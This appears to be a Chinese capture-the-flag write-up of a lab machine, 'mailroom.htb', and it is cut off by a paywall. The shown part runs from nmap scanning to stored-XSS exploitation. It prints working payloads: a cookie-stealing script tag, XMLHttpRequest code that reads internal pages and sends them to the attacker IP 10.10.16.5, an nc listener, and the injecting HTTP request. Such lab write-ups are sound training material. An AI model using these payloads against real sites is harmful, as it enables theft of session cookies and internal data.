常规的XSS利用方式主要有窃取cookie、恶意链接、获取键盘记录、网页钓鱼、挂马等等,本次渗透首先通过XSS漏洞,利用XMLRequest发起ajax请求,实现了发起http请求的目的,并且把请求的结果返回了,通过代码审计,打开了突破的口子。后续还运用到了Nosql注入、绕过2FA验证、kdbx文件解密等等技术,渗透过程涉及很多小的知识点,充满乐趣与挑战,下面开始此次渗透之旅。
一、信息收集
nmap -p- --min-rate=1000 -T4 -sC -sV -Pn 10.10.11.209

看来要从80端口的web服务硬着开始了。
目录扫描一波无果,发现还存在子域名;

另外一个子域名的发现是需要考耐心和水平的,(别忘记了查看源码的重要性);

接下来又是常规的对子域名开展一波信息收集,然后就进入漏洞挖掘阶段。
二、漏洞挖掘
1、XSS漏洞
进到web界面各种尝试发现了一个xss,
<script>alert('xss')</script>

并没有过滤,可以成功触发;

第一反应是想到抓cookie,尝试这个payload来获取cookie失败了,什么都没拿到;
<script src="http://10.10.16.5/XSS/getcookie.php?cookie='+document.cookie+'"></script>
后续也尝试了其他利用方法均无果。
2、XMLRequest发起ajax请求
在网上搜索后发现另一种方法,利用xss,最终实现了发起http请求的目的,并且把请求的结果返回了,我也尝试一下;
<script>
var fetch_req = new XMLHttpRequest();
fetch_req.onreadystatechange = function() {
if(fetch_req.readyState == XMLHttpRequest.DONE) {
var exfil_req = new XMLHttpRequest();
exfil_req.open("POST", "http://10.10.16.5", false);
exfil_req.send("Resp Code: " + fetch_req.status + "\nPage Source:\n" + fetch_req.response);
}
};
fetch_req.open("GET", "http://127.0.0.1//contact.php", false);
fetch_req.send();
</script>
nc -lvnp 80

成功收到了请求的信息,内容就是contact.php 的内容,也就是意味着我们可以在内网中发起请求。
我们直接在kali本地访问子域名,发现403了。
那么接下来我们尝试使用xss进行请求。
└─# cat pwned.js
var http = new XMLHttpRequest();
http.open('GET', "http://staff-review-panel.mailroom.htb/index.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
fetch("http://10.10.16.5/out?" + encodeURI(btoa(this.responseText)));
};
http.send(null);
Burp报文
POST /contact.php HTTP/1.1 Host: mailroom.htb Content-Length: 82 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://mailroom.htb Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://mailroom.htb/contact.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Connection: close email=1%401.com&title=1&message=<script src="http://10.10.16.5/pwned.js"></script>

本文详细描述了一次网络安全渗透测试的过程,从XSS漏洞利用开始,通过XMLHttpRequest发起AJAX请求实现内网请求,接着利用Nosql注入获取用户信息,绕过2FA验证,再通过RCE反弹shell,最终解密kdbx文件获取root权限。
最低0.47元/天 解锁文章
795

被折叠的 条评论
为什么被折叠?



